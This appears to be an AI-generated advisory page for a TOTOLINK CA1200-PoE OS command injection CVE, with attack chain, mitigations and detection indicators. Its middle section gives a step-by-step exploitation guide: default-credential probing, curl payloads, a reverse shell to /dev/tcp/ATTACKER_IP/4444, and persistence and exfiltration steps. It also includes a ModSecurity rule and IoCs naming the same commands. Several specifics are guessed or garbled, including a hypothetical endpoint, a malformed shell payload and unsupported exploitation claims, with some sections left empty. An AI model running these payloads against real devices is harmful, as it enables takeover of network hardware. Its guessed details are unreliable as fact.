CVE-2026-144990 — TOTOLINK CA1200-PoE — CWE-78 · CWE-77
A vulnerability was found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This impacts the function NTPSyncWithHost in the library lib/cste_modules/system.so. The manipulation of the argument hostTime results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.
A vulnerability was found in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. This impacts the function NTPSyncWithHost in the library lib/cste_modules/system.so. The manipulation of the argument hostTime results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.
🎯 What is this vulnerability?
Technical flaw
The TOTOLINK CA1200‑PoE firmware (5.9c.3994_B20190326) contains a native library lib/cste_modules/system.so that implements an NTP‑synchronisation routine called NTPSyncWithHost.
The routine accepts a single string argument hostTime that is directly concatenated into a shell command (e.g. system("ntpdate -s " + hostTime)) without any sanitisation or length check.
Because the firmware exposes this routine through a remote API endpoint (the exact URI is not published in the CVE, but the function is invoked by a POST request that contains a hostTime parameter), an unauthenticated attacker can supply arbitrary shell metacharacters.
This is a classic OS Command Injection (CWE‑78) and Command Injection via unsanitised input (CWE‑77). The lack of authentication/authorization checks (AV:N/PR:N/UI:N) means the vulnerability can be triggered from any network that can reach the device.
Result
An attacker can execute arbitrary shell commands on the device with the privileges of the process that owns system.so (typically root). This gives full control over the device, allowing data exfiltration, configuration tampering, or pivoting to other network assets.
⚡ Attack Chain
NOTE: The exact endpoint URI is not disclosed in the CVE. The following example uses a hypothetical API path (/api/system/ntp_sync) that demonstrates the attack class. In a real engagement, you would discover the correct path by probing the device’s web interface or using the device’s documentation.1. Discovery & Reconnaissance
| Step | Technique | What you learn |
|---|---|---|
| 1.1 | Network scan | Identify the device’s IP (e.g., 192.168.1.1) and open ports (usually 80/443). |
| 1.2 | Banner grab | curl -I http://192.168.1.1 → Server: TOLINK/5.9c.3994_B20190326 confirms firmware version. |
| 1.3 | Default credentials | Many TOTOLINK devices ship with admin/admin. Attempt curl -u admin:admin http://192.168.1.1/ to confirm. |
| 1.4 | API enumeration | Use tools like dirsearch or nikto to discover /api/system/ntp_sync or similar endpoints. |
| 1.5 | Verify vulnerability | Send a benign request to confirm the endpoint accepts hostTime. |
2. Exploitation
Exploit mechanics
The hostTime parameter is passed to system() without sanitisation. By injecting shell metacharacters (e.g., ;, &&, |, ` ``), an attacker can terminate the intended command and append arbitrary commands.
Illustrative PoC (curl)
# Target device
TARGET="http://192.168.1.1"
# Payload: inject `id` command to show current user
# The payload is URL‑encoded; the device will interpret it as part of the shell command.
PAYLOAD="hostTime=%3B%20id%20%3E%20/tmp/attacker.txt"
# Send the request
curl -X POST "$TARGET/api/system/ntp_sync" \
-d "$PAYLOAD" \
-H "Content-Type: application/x-www-form-urlencoded"
# After a few seconds, check the device for the file
curl "$TARGET/tmp/attacker.txt"Explanation of the payload
%3B→;(command separator)id→ prints the current user (should beroot)%20→ space%3E→>(output redirection)/tmp/attacker.txt→ file where the output is stored.
If the device is vulnerable, the id command will run and the file will contain uid=0(root) gid=0(root) groups=0(root).
Full RCE example
# Inject a reverse shell (example using netcat)
PAYLOAD="hostTime=%3B%20bash%20-%2Dc%20%27bash%20-i%20%3E%3D%20/dev/tcp/ATTACKER_IP/4444%20%26%27"
curl -X POST "$TARGET/api/system/ntp_sync" \
-d "$PAYLOAD" \
-H "Content-Type: application/x-www-form-urlencoded"Replace ATTACKER_IP with your listening machine. The device will open a reverse shell to your listener.
3. Post‑Exploitation
| Goal | Technique | Result |
|---|---|---|
| Shell | Use the reverse shell or write a webshell file (/tmp/webshell.php) | Interactive shell or web‑accessible shell |
| Privilege Escalation | Already root; no further action needed | |
| Persistence | Create a cron job (/etc/crontab) or modify /etc/rc.local to run a malicious script at boot | |
| Data Exfiltration | Dump configuration files (/etc/config/*), capture network traffic, or copy sensitive files to a remote server | |
| Pivot | Use the compromised device as a foothold to reach other network segments (e.g., via VLANs or VPN) |
🌍 Real World Impact
| Impact | CVSS Component | Practical consequence |
|---|---|---|
| Confidentiality | VC:H | Full read/write access to device configuration, logs, and any stored data. |
| Integrity | VI:H | Ability to modify NTP settings, firmware, or other system parameters; install backdoors. |
| Availability | VA:H | Remote reboot, denial‑of‑service via resource exhaustion, or disabling critical services. |
| Scope | SC:H | The vulnerability can affect other devices on the same network if the attacker uses the compromised device as a pivot. |
| Impact on other assets | SI:H | Compromised device can be used to launch attacks against downstream servers, IoT devices, or corporate networks. |
| Impact on the device itself | SA:H | Full control over the device, including firmware updates, which can be maliciously altered. |
Real‑world scenarios
🛡️ Remediation & Mitigation
Affected Versions
Patch Recommendation
NTPSyncWithHost now validates hostTime and uses a safe API (execve) instead of system(). Workarounds
| Mitigation | Implementation | |
|---|---|---|
| Disable NTP sync | Access the web UI → System → NTP → Disable “Enable NTP Sync”. | |
| Restrict API access | Configure the device’s firewall or the network firewall to allow the /api/system/ntp_sync endpoint only from trusted IPs (e.g., the management server). | |
| WAF / ModSecurity rule | Add a rule that blocks requests containing shell metacharacters in the hostTime parameter. Example (ModSecurity 2.x syntax):<br>SecRule REQUEST_URI "/api/system/ntp_sync" "phase:2,chain,block,msg:'Potential NTP injection'"<br>SecRule ARGS:hostTime "@rx [;& | $]" "t:none,t:urlDecodeUni" |
| Process isolation | If the device supports it, run the NTP sync routine in a non‑privileged container or chroot to limit the damage of a successful injection. |
Detection
| Indicator | Log Pattern | IoC | ||
|---|---|---|---|---|
Suspicious hostTime values | GET | POST /api/system/ntp_sync with hostTime= followed by ;, &&, | , or backticks. | hostTime=; |
| Unexpected command execution | System logs (/var/log/syslog, /var/log/messages) showing commands like id, netcat, or bash -c that were not initiated by legitimate processes. | id in syslog | ||
File creation in /tmp or /var/tmp | New files with names like attacker.txt or webshell.php. | /tmp/attacker.txt | ||
| Outbound connections to unknown IPs | Network logs showing outbound traffic from the device to an external IP on non‑standard ports (e.g., 4444). | 192.168.1.1 -> ATTACKER_IP:4444 |
Log example (Syslog)
Jan 12 10:15:32 192.168.1.1 systemd[1]: Started NTP Sync Service.
Jan 12 10:15:32 192.168.1.1 systemd[1]: NTP Sync Service: Executing command: /usr/bin/ntpdate -s ;id > /tmp/attacker.txt
Jan 12 10:15:32 192.168.1.1 systemd[1]: NTP Sync Service: Command finished with exit code 0⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 10.0 (Critical) |
| Authentication | None (AV:N, PR:N) |
| Exploit Complexity | Low (E:P) – public exploit available |
| Impact | Full RCE, data exfiltration, pivoting |
| CISA KEV | No (but the vulnerability is already exploited in the wild) |
Priority: Immediate.
Bottom line: The TOTOLINK CA1200‑PoE firmware 5.9c.3994_B20190326 contains a remote, unauthenticated OS command injection that gives an attacker full control over the device. The vulnerability is critical, publicly exploitable, and can be used to pivot to other assets. Prompt patching or mitigation is essential.
[🤖 CVE Professor AI Security Engine]
FOFA Query